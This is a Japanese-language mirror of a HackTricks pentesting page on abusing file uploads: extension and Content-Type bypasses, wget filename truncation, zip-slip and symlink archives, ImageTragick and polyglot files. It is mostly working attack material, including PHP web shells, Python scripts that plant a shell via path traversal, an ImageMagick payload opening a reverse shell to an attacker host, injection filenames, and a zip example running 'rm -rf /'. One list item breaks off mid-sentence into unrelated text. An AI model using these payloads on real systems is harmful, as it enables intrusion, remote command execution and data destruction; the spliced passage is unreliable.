mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 20:53:37 +00:00
297 lines
24 KiB
Markdown
297 lines
24 KiB
Markdown
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||
|
||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||
|
||
- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||
|
||
- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
|
||
|
||
- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出**してください。
|
||
|
||
</details>
|
||
|
||
|
||
# ファイルのアップロード一般的な方法論
|
||
|
||
1. **ダブル拡張子**を持つファイルをアップロードしてみてください(例:_file.png.php_または_file.png.php5_)。
|
||
* PHPの拡張子:_.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, ._phps_, ._pht_, _.phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc_
|
||
* ASPの拡張子:_.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .asp, .cer, .shtml_
|
||
2. 拡張子の一部を**大文字**にしてみてください。例:_.pHp, .pHP5, .PhAr ..._
|
||
3. **ダブル(またはそれ以上の)拡張子**をアップロードしてみてください(特定の拡張子が存在するかどうかをテストするミス構成のチェックをバイパスするのに役立ちます):
|
||
1. _file.png.php_
|
||
2. _file.png.txt.php_
|
||
4. **逆ダブル拡張子**をアップロードしてみてください(Apacheのミス構成を悪用するのに役立ちます。拡張子_.php_であるが、必ずしも.phpで終わるわけではない場合にコードが実行されます):
|
||
* 例:file.php.png
|
||
5. **ヌル文字**を使用したダブル拡張子:
|
||
1. 例:file.php%00.png
|
||
6. 拡張子の**末尾に特殊文字を追加**してください:%00、%20、(複数のドット)....
|
||
1. _file.php%00_
|
||
2. _file.php%20_
|
||
3. _file.php...... --> Windowsでは、ファイルが末尾にドットで作成されると、それらは削除されます(.phpという拡張子をチェックするフィルタをバイパスできます)
|
||
4. _file.php/_
|
||
5. _file.php.\_
|
||
7. **Content-Type**ヘッダの**値**を設定することで、**Content-Type**のチェックをバイパスしてください:_image/png_、_text/plain_、_application/octet-stream_
|
||
8. **マジックナンバーチェック**をバイパスするために、ファイルの先頭に**実際の画像のバイト**を追加してください(_file_コマンドを混乱させます)。または、シェルを**メタデータ**に挿入します:`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`
|
||
1. ファイル内のどこにでもそれらを設定できるため、**マジックバイト**がファイルで**チェックされている**可能性もあります。
|
||
9. **Windows**の**NTFS代替データストリーム(ADS)**を使用します。この場合、禁止された拡張子の後ろにコロン文字「:」が挿入されます。その結果、サーバー上に禁止された拡張子の**空のファイル**が作成されます(例:「file.asax:.jpg」)。このファイルは、その後他のテクニックを使用して編集することができます。たとえば、その短いファイル名を使用することができます。また、「**::$data**」パターンを使用して空でないファイルを作成することもできます。したがって、このパターンの後にドット文字を追加することも、さらなる制限をバイパスするのに役立つ場合があります(例:「file.asp::$data.」)。
|
||
10. 許可された拡張子(_png_)でバックドアを**アップロード**し、バックドアが実行される**ミス構成**を祈ります。
|
||
11. 既にアップロードされたファイルを**リネーム**するための脆弱性を見つけてください(拡張子を変更するため)。
|
||
12. **ローカルファイルインクルージョン**の脆弱性を見つけて、バックドアを実行してください。
|
||
13. **可能な情報漏洩**:
|
||
1. **同じ名前**の**同じファイル**を**複数回**(**同時に**)アップロードします。
|
||
2. **既に存在するファイル**または**フォルダ**の**名前**を持つファイルをアップロードします。
|
||
3. **“.”、“..”、“…”**を名前とするファイルをアップロードします。たとえば、Apacheの**Windows**では、アプリケーションがアップロードされたファイルを「/www/uploads/」ディレクトリに保存する場合、「.」のファイル名は「/www/」ディレクトリに「uploads」という名前のファイルを作成します。
|
||
4. **NTFS**で**削除が容易でない**ファイルをアップロードします。例:「…:.jpg」(Windows)
|
||
5. 名前に`|<>*?”`などの**無効な文字**を含む**Windows**でのファイルのアップロード(Windows)
|
||
6. **CON、PRN、AUX、NUL、COM1、COM2、COM3、COM4、COM5、COM6、COM7、COM8、COM9、LPT1、LPT2、LPT3、LPT4、LPT5、LPT6、LPT7、LPT8、LPT9**などの**予約済み(禁止)名**を使用して**Windows**にファイルを
|
||
`.phar`ファイルは、Javaの`.jar`のようなものですが、PHP用です。PHPで実行したり、スクリプト内でインクルードしたりすることができます。
|
||
|
||
`.inc`拡張子は、ファイルをインポートするためだけに使用されることがありますので、ある時点で、誰かがこの拡張子を実行できるようにしている可能性があります。
|
||
|
||
BurpSuitプラグインを使用して、多くの可能なファイルアップロードの脆弱性をチェックしてください。[https://github.com/modzero/mod0BurpUploadScanner](https://github.com/modzero/mod0BurpUploadScanner)または、アップロードできるファイルを見つけ、さまざまなトリックを試してコードを実行するコンソールアプリケーションを使用してください。[https://github.com/almandin/fuxploider](https://github.com/almandin/fuxploider)
|
||
|
||
## **wgetファイルアップロード/SSRFトリック**
|
||
|
||
場合によっては、サーバーがファイルをダウンロードするために`wget`を使用しており、URLを指定できることがあります。これらの場合、コードはダウンロードされるファイルの拡張子がホワイトリスト内にあることを確認して、許可されたファイルのみがダウンロードされるようにします。ただし、このチェックはバイパスできます。
|
||
Linuxでのファイル名の最大長は255ですが、`wget`はファイル名を236文字に切り詰めます。"A"\*232+".php"+".gif"という名前のファイルをダウンロードすることができます。このファイル名はチェックをバイパスします(この例では".gif"が有効な拡張子です)。ただし、`wget`はファイルを"A"\*232+".php"という名前に変更します。
|
||
```bash
|
||
#Create file and HTTP server
|
||
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
|
||
python3 -m http.server 9080
|
||
```
|
||
|
||
```bash
|
||
#Download the file
|
||
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
|
||
The name is too long, 240 chars total.
|
||
Trying to shorten...
|
||
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
|
||
--2020-06-13 03:14:06-- http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
|
||
Connecting to 127.0.0.1:9080... connected.
|
||
HTTP request sent, awaiting response... 200 OK
|
||
Length: 10 [image/gif]
|
||
Saving to: ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’
|
||
|
||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>] 10 --.-KB/s in 0s
|
||
|
||
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
|
||
```
|
||
注意してください。このチェックをバイパスするために考えている**別のオプション**は、**HTTPサーバーを別のファイルにリダイレクト**させることです。そのため、初期のURLはチェックをバイパスし、wgetは新しい名前でリダイレクトされたファイルをダウンロードします。**wgetがパラメータ**`--trust-server-names`**を使用している場合を除いて、これは機能しません**。なぜなら、wgetはリダイレクトされたページを元のURLで指定されたファイル名でダウンロードするからです。
|
||
|
||
# ファイルアップロードから他の脆弱性へ
|
||
|
||
* **ファイル名**を`../../../tmp/lol.png`に設定し、**パストラバーサル**を試みる
|
||
* **ファイル名**を`sleep(10)-- -.jpg`に設定し、**SQLインジェクション**を達成することができるかもしれません
|
||
* **ファイル名**を`<svg onload=alert(document.comain)>`に設定して、XSSを達成する
|
||
* **ファイル名**を`; sleep 10;`に設定して、いくつかのコマンドインジェクションをテストする(詳細は[こちらのコマンドインジェクションのトリック](command-injection.md)を参照)
|
||
* [画像(svg)ファイルのアップロードにおける**XSS**](xss-cross-site-scripting/#xss-uploading-files-svg)
|
||
* **JS**ファイルの**アップロード**+**XSS** = [**Service Workers**の悪用](xss-cross-site-scripting/#xss-abusing-service-workers)
|
||
* [svgアップロードにおける**XXE**](xxe-xee-xml-external-entity.md#svg-file-upload)
|
||
* [svgファイルのアップロードによる**オープンリダイレクト**](open-redirect.md#open-redirect-uploading-svg-files)
|
||
* [有名な**ImageTrick**の脆弱性](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
|
||
* ウェブサーバーに画像を取得させることができる場合、[SSRF](ssrf-server-side-request-forgery.md)を悪用することができます。この**画像**がいくつかの**公開**サイトに**保存**される場合、[https://iplogger.org/invisible/](https://iplogger.org/invisible/)からのURLを指定して、**すべての訪問者の情報を盗む**こともできます。
|
||
|
||
以下は、アップロードによって達成できる10のことのトップ10リストです([リンク](https://twitter.com/SalahHasoneh1/status/1281274120395685889)から):
|
||
|
||
1. **ASP / ASPX / PHP5 / PHP / PHP3**:Webシェル / RCE
|
||
2. **SVG**:格納型XSS / SSRF / XXE
|
||
3. **GIF**:格納型XSS / SSRF
|
||
4. **CSV**:CSVインジェクション
|
||
5. **XML**:XXE
|
||
6. **AVI**:LFI / SSRF
|
||
7. **HTML / JS**:HTMLインジェクション / XSS / オープンリダイレクト
|
||
8. **PNG / JPEG**:ピクセルフラッド攻撃(DoS)
|
||
9. **ZIP**:LFI経由のRCE / DoS
|
||
10. **PDF / PPTX**:SSRF / BLIND XXE
|
||
|
||
# ZIPファイルの自動解凍アップロード
|
||
|
||
サーバー内で解凍されるZIPをアップロードできる場合、2つのことができます:
|
||
|
||
## シンボリックリンク
|
||
|
||
他のファイルへのシンボリックリンクを含むリンクをアップロードし、解凍されたファイルにアクセスすることで、リンクされたファイルにアクセスできます:
|
||
```text
|
||
ln -s ../../../index.php symindex.txt
|
||
zip --symlinks test.zip symindex.txt
|
||
```
|
||
## 異なるフォルダに解凍する
|
||
|
||
解凍されたファイルは予期しないフォルダに作成されます。
|
||
|
||
OSレベルのコマンド実行からの保護を提供すると簡単に思われるかもしれませんが、残念ながらこれは真実ではありません。ZIPアーカイブ形式は階層的な圧縮をサポートしており、上位ディレクトリを参照することもできるため、対象アプリケーションの解凍機能を悪用することで安全なアップロードディレクトリから脱出することができます。
|
||
|
||
この種のファイルを作成するための自動化されたエクスプロイトはこちらで見つけることができます: [https://github.com/ptoomey3/evilarc](https://github.com/ptoomey3/evilarc)
|
||
```python
|
||
python evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
|
||
```
|
||
以下は、悪意のあるzipファイルを作成するためのPythonコードです:
|
||
|
||
```python
|
||
import zipfile
|
||
|
||
def create_malicious_zip(file_path, content):
|
||
with zipfile.ZipFile(file_path, 'w') as zip_file:
|
||
zip_file.writestr('../malicious_script.py', content)
|
||
|
||
malicious_content = '''
|
||
import os
|
||
os.system('rm -rf /')
|
||
'''
|
||
|
||
create_malicious_zip('malicious.zip', malicious_content)
|
||
```
|
||
|
||
このコードは、`create_malicious_zip`という関数を使用して、指定されたファイルパスに悪意のあるzipファイルを作成します。`malicious_content`変数には、悪意のあるスクリプトが含まれています。このスクリプトは、`rm -rf /`コマンドを実行し、システム上のすべてのファイルを削除します。
|
||
|
||
このコードを実行すると、`malicious.zip`という名前のzipファイルが作成され、その中に`../malicious_script.py`という名前のファイルが含まれます。このファイルは、悪意のあるスクリプトを実行するためのものです。
|
||
|
||
この悪意のあるzipファイルをアップロードされたファイルとして処理する場合、悪意のあるスクリプトが実行される可能性があるため、注意が必要です。
|
||
```python
|
||
#!/usr/bin/python
|
||
import zipfile
|
||
from cStringIO import StringIO
|
||
|
||
def create_zip():
|
||
f = StringIO()
|
||
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
|
||
z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
|
||
z.writestr('otherfile.xml', 'Content of the file')
|
||
z.close()
|
||
zip = open('poc.zip','wb')
|
||
zip.write(f.getvalue())
|
||
zip.close()
|
||
|
||
create_zip()
|
||
```
|
||
リモートコマンド実行を達成するために、以下の手順を実行しました:
|
||
|
||
1. PHPシェルを作成します:
|
||
```php
|
||
<?php
|
||
if(isset($_REQUEST['cmd'])){
|
||
$cmd = ($_REQUEST['cmd']);
|
||
system($cmd);
|
||
}?>
|
||
```
|
||
2. 「ファイルスプレー」と呼ばれる手法を使用し、圧縮されたzipファイルを作成します:
|
||
```text
|
||
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
|
||
root@s2crew:/tmp# ls *.php
|
||
simple-backdoor.php xxAxxAxxAcmd.php xxAxxAxxAxxAxxAxxAcmd.php xxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php
|
||
xxAcmd.php xxAxxAxxAxxAcmd.php xxAxxAxxAxxAxxAxxAxxAcmd.php xxAxxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php
|
||
xxAxxAcmd.php xxAxxAxxAxxAxxAcmd.php xxAxxAxxAxxAxxAxxAxxAxxAcmd.php
|
||
root@s2crew:/tmp# zip cmd.zip xx*.php
|
||
adding: xxAcmd.php (deflated 40%)
|
||
adding: xxAxxAcmd.php (deflated 40%)
|
||
adding: xxAxxAxxAcmd.php (deflated 40%)
|
||
adding: xxAxxAxxAxxAcmd.php (deflated 40%)
|
||
adding: xxAxxAxxAxxAxxAcmd.php (deflated 40%)
|
||
adding: xxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
|
||
adding: xxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
|
||
adding: xxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
|
||
adding: xxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
|
||
adding: xxAxxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
|
||
root@s2crew:/tmp#
|
||
```
|
||
3. ヘックスエディタまたはviを使用して、「xxA」を「../」に変更します。私はviを使用しました:
|
||
```text
|
||
:set modifiable
|
||
:%s/xxA/..\//g
|
||
:x!
|
||
```
|
||
完了したのはあと1ステップだけです:ZIPファイルをアップロードし、アプリケーションに解凍させます!成功すれば、ウェブサーバーに十分な権限があれば、システム上に簡単なOSコマンド実行シェルが作成されます:
|
||
|
||
[![b1](https://blog.silentsignal.eu/wp-content/uploads/2014/01/b1-300x106.png)](https://blog.silentsignal.eu/wp-content/uploads/2014/01/b1.png)
|
||
|
||
**参考**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
|
||
|
||
## 別の名前で解凍する
|
||
|
||
アプリケーションによっては、zipファイル内の拡張子をチェックしてファイルの読み込みをブロックする場合があります。この検証が表面的で、つまりローカルフィールドヘッダー内のファイル名をチェックするだけの場合、解凍後に別の拡張子を持つファイルをアプリケーションに信じさせることで回避することができます。
|
||
|
||
前のスクリプトを再利用して、zipファイルを作成することができます。
|
||
```python
|
||
import zipfile
|
||
from io import BytesIO
|
||
|
||
def create_zip():
|
||
f = BytesIO()
|
||
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
|
||
z.writestr('shell.php .pdf', '<?php echo system($_REQUEST["cmd"]); ?>')
|
||
z.close()
|
||
zip = open('poc.zip','wb')
|
||
zip.write(f.getvalue())
|
||
zip.close()
|
||
|
||
create_zip()
|
||
```
|
||
注意してください。名前にはスペースが含まれています。今、生成されたzipファイルをヘックスエディタで編集し、中央ディレクトリヘッダ内のフィールド名をヌルバイト`00`で置き換えることができます。
|
||
```bash
|
||
# before changing the name of the file inside the Central Directory header
|
||
00000080: 0000 0073 6865 6c6c 2e70 6870 202e 7064 ...shell.php .pd
|
||
# after changing the name of the file inside the Central Directory header
|
||
00000080: 0000 0073 6865 6c6c 2e70 6870 002e 7064 ...shell.php..pd
|
||
```
|
||
アプリケーションがzip内のファイルのファイル名をチェックする場合、このチェックに使用される名前は、ローカルファイルヘッダーの名前ですが、**zipが暗号化されている場合は適用されません**(pkzipの仕様を参照)。ファイルを保存するために使用される名前は、7zまたはunzipが2つの名前の間に違いを見つける場合、中央ディレクトリヘッダーの名前になります。ヌルバイトのおかげで、名前は`shell.php`になります。
|
||
|
||
解凍された場合:
|
||
```bash
|
||
7z e poc.zip
|
||
ls
|
||
shell.php
|
||
```
|
||
**参考文献**:
|
||
|
||
[https://users.cs.jmu.edu/buchhofp/forensics/formats/pkzip.html](https://users.cs.jmu.edu/buchhofp/forensics/formats/pkzip.html)
|
||
|
||
[https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT)
|
||
|
||
# ImageTragic
|
||
|
||
このコンテンツを画像の拡張子でアップロードして、脆弱性 **\(ImageMagick , 7.0.1-1\)** を悪用します。
|
||
```text
|
||
push graphic-context
|
||
viewbox 0 0 640 480
|
||
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
|
||
pop graphic-context
|
||
```
|
||
# PGNにPHPシェルを埋め込む
|
||
|
||
IDATチャンクにウェブシェルを配置する主な理由は、リサイズおよび再サンプリング操作をバイパスできるためです。PHP-GDには、これを行うための2つの関数、[imagecopyresized](http://php.net/manual/en/function.imagecopyresized.php)と[imagecopyresampled](http://php.net/manual/en/function.imagecopyresampled.php)が含まれています。
|
||
|
||
この記事を読んでください:[https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||
|
||
# ポリグロットファイル
|
||
|
||
セキュリティの文脈でのポリグロットとは、複数の異なるファイルタイプの有効な形式であるファイルのことを指します。例えば、[GIFAR](https://en.wikipedia.org/wiki/Gifar)はGIFファイルとRARファイルの両方です。また、GIFとJSの両方、PPTとJSの両方など、複数のフォーマットであるファイルも存在します。
|
||
|
||
ポリグロットファイルは、ファイルタイプに基づく保護をバイパスするためによく使用されます。ユーザーが危険なファイル(JSファイル、PHPファイル、Pharファイルなど)をアップロードすることを防ぐために、多くのアプリケーションは特定のタイプ(JPEG、GIF、DOCなど)のみのアップロードを許可します。
|
||
|
||
これにより、複数の異なる形式のフォーマットに準拠したファイルをアップロードできます。JPEGのように見えるが、実際にはPHARファイル(PHp ARchive)であるファイルをアップロードすることができます。ただし、有効な拡張子が必要であり、アップロード機能が許可しない場合は役に立ちません。
|
||
|
||
詳細はこちら:[https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||
|
||
|
||
|
||
|
||
|
||
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
- **サイバーセキュリティ企業**で働いていますか? HackTricksであなたの会社を宣伝したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||
|
||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||
|
||
- [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||
|
||
- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォローしてください。**
|
||
|
||
- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
|
||
|
||
</details>
|